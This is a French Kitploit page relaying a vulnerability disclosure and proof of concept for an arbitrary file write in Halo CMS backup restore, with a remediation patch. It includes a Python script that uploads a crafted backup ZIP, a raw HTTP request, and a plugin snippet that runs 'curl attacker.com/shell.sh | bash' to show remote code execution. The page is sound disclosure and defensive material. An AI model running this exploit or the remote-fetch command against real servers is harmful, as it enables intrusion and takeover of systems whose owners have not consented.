Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — Preuve de concept d'exploitation pour une vulnérabilité d'écriture arbitraire de fichier dans la restauration de sauvegarde de Halo CMS, permettant une exécution de code à distance (RCE) via le remplacement de plugin JAR ou un contournement d'authentification. | Kitploit
Outils/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

Preuve de concept d'exploitation pour une vulnérabilité d'écriture arbitraire de fichier dans la restauration de sauvegarde de Halo CMS, permettant une exécution de code à distance (RCE) via le remplacement de plugin JAR ou un contournement d'authentification.

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Vulnérabilité d'écriture arbitraire de fichiers lors de la restauration de sauvegarde dans Halo CMS

Résumé

Une vulnérabilité critique d'écriture arbitraire de fichiers existe dans la fonctionnalité de restauration de sauvegarde de Halo CMS jusqu'à la version 2.25.4. La méthode restoreWorkdir() dans MigrationServiceImpl.java copie le répertoire workdir/ d'une archive de sauvegarde fournie par l'utilisateur directement vers le répertoire de travail de l'application Halo (~/.halo2/) sans aucune validation des types de fichiers, protection contre les traversées de chemins ou vérification des liens symboliques. Un attaquant authentifié disposant des privilèges de gestion des sauvegardes peut créer un fichier ZIP de sauvegarde malveillant contenant des fichiers arbitraires dans le répertoire workdir/, qui seront écrits dans le répertoire de travail du serveur lors de la restauration, pouvant potentiellement conduire à une exécution de code à distance (RCE) via le remplacement de JAR de plugin ou à un contournement d'authentification via le remplacement de clés RSA.

Score CVSS v3.1 : 8,8 (Élevé)
Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-73 (Contrôle externe du nom ou du chemin de fichier)


Versions affectées

  • Halo CMS ≤ 2.25.4
  • Toutes les versions avec fonctionnalité de restauration de sauvegarde

Détails de la vulnérabilité

Cause racine

La vulnérabilité réside dans la méthode restoreWorkdir() de MigrationServiceImpl.java (lignes 230-243) :

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // LIGNE VULNÉRABLE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

La méthode copyRecursively() (FileSystemUtils de Spring) effectue une copie récursive sans :

  1. Validation du type de fichier - Aucune vérification des extensions de fichier ou des types MIME
  2. Protection contre les traversées de chemins - Aucune vérification des séquences .. dans les noms de fichiers
  3. Détection des liens symboliques - Aucune vérification des liens symboliques
  4. Limites de taille de fichier - Aucune restriction sur la taille des fichiers
  5. Protection contre l'écrasement - Écrase silencieusement les fichiers existants

Vecteur d'attaque

La vulnérabilité est déclenchée via le point de terminaison de restauration de sauvegarde :

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

Le processus de restauration suit cette séquence :

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → Extraire le ZIP vers un répertoire temporaire │
│  2. restoreExtensions() → Restaurer extensions.data         │
│  3. restoreWorkdir() → Copier workdir/ vers ~/.halo2/       │
│     ↑ Écriture de fichiers arbitraires dans le répertoire de travail │
└─────────────────────────────────────────────────────────────┘

Structure de sauvegarde malveillante

Un fichier ZIP de sauvegarde malveillant doit contenir :

root@kitploit:~
malicious-backup.zip
├── extensions.data          # Requis : Peut être vide ou contenir du JSONL valide
└── workdir/                 # Requis : Le contenu est copié vers ~/.halo2/
    ├── PWNED_BY_POC.txt     # Fichier marqueur de preuve de concept
    ├── plugins/             # JAR de plugins pour RCE
    │   └── evil-plugin.jar  # Plugin malveillant
    └── keys/                # Clés RSA pour contournement d'authentification
        ├── pat_id_rsa       # Clé privée malveillante
        └── pat_id_rsa.pub   # Clé publique malveillante

Format de extensions.data

Le fichier extensions.data doit être valide pour que restoreExtensions() réussisse. Les formats valides incluent :

  1. Fichier vide : (contenu vide)

  2. Ligne vide : \n (saut de ligne uniquement)

  3. JSONL valide : Un objet ExtensionStore par ligne :

    root@kitploit:~
    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    Où data est un contenu encodé en base64.


Étapes d'exploitation

Prérequis

  • Utilisateur authentifié avec privilèges de gestion des sauvegardes
  • Accès réseau à l'API Halo

Étape 1 : Créer une sauvegarde malveillante

root@kitploit:~
import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # extensions.data vide (passe la validation restoreExtensions)
    zf.writestr('extensions.data', '\n')

    # Fichier arbitraire à écrire vers ~/.halo2/
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Écriture de fichier arbitraire confirmée !')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

Étape 2 : Téléverser la sauvegarde malveillante

Adresse de gestion des sauvegardes côté frontend : http://ip:port/console/backup

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<Contenu binaire du fichier ZIP>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

Étape 3 : Vérifier le fichier écrit

root@kitploit:~
# Sur le serveur Halo
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

Analyse d'impact

Impact direct

  1. Écriture de fichier arbitraire : L'attaquant peut écrire n'importe quel fichier dans ~/.halo2/
  2. Écrasement de fichiers : Les fichiers existants sont silencieusement écrasés

Scénarios d'escalade

Vecteur d'attaqueFichier cibleImpactSévérité
Remplacement de JAR de plugin~/.halo2/plugins/*.jarExécution de code à distanceCritique
Remplacement de clé RSA~/.halo2/keys/pat_id_rsaContournement d'authentificationCritique
Remplacement de thème~/.halo2/themes/*XSS stockéÉlevé
Écrasement de configuration~/.halo2/*.yamlContournement des contrôles de sécuritéÉlevé

RCE via remplacement de JAR de plugin

Un attaquant peut remplacer un JAR de plugin légitime par un JAR malveillant contenant :

root@kitploit:~
@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // Exécuter une commande arbitraire
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

Lorsque le plugin est chargé, le code malveillant s'exécute avec les privilèges du processus Halo.


Preuve de concept

Script PoC Python

root@kitploit:~
#!/usr/bin/env python3
"""
PoC d'écriture arbitraire de fichiers lors de la restauration de sauvegarde Halo CMS
Vulnérabilité : Écriture arbitraire de fichiers lors de la restauration de sauvegarde
CVSS : 8,8 (Élevé)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Écriture de fichier arbitraire lors de la restauration de sauvegarde Halo confirmée !')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Statut : {r.status_code}")
    print(f"Réponse : {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] SUCCÈS ! Vérifiez : cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

Vérification

root@kitploit:~
# Exécuter le PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# Sur le serveur Halo
cat ~/.halo2/PWNED_BY_POC.txt

Remédiation

Correctif recommandé

Ajouter une validation à la méthode restoreWorkdir() :

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // Valider l'absence de traversée de chemins
                checkDirectoryTraversal(backupRoot, workdir);

                // Valider l'absence de liens symboliques
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Les liens symboliques ne sont pas autorisés");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // Copier avec validation
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

Recommandations supplémentaires

  1. Implémenter la signature des sauvegardes : Signer cryptographiquement les sauvegardes pour empêcher toute altération
  2. Ajouter une liste blanche de types de fichiers : Autoriser uniquement certains types de fichiers dans workdir
  3. Implémenter des limites de taille de fichiers : Restreindre la taille maximale des fichiers
  4. Ajouter une journalisation d'audit : Journaliser toutes les opérations de restauration de sauvegarde
  5. Exiger une ré-authentification : Exiger une confirmation du mot de passe pour la restauration de sauvegarde

Références

  • Éditeur : https://github.com/halo-dev/halo
  • Code affecté : application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java
  • CWE-73 : https://cwe.mitre.org/data/definitions/73.html
  • Calculateur CVSS : https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Chronologie

  • Date de découverte : 2026-07-10
  • Notification à l'éditeur : [En attente]
  • Divulgation publique : [En attente]

Crédits

  • Découvreur : LIAN

Avertissement

Cette divulgation de vulnérabilité est destinée uniquement à des fins de recherche en sécurité. L'auteur n'est pas responsable de toute utilisation abusive de ces informations. Obtenez toujours une autorisation appropriée avant de tester des systèmes pour détecter des vulnérabilités.

Télécharger l’outil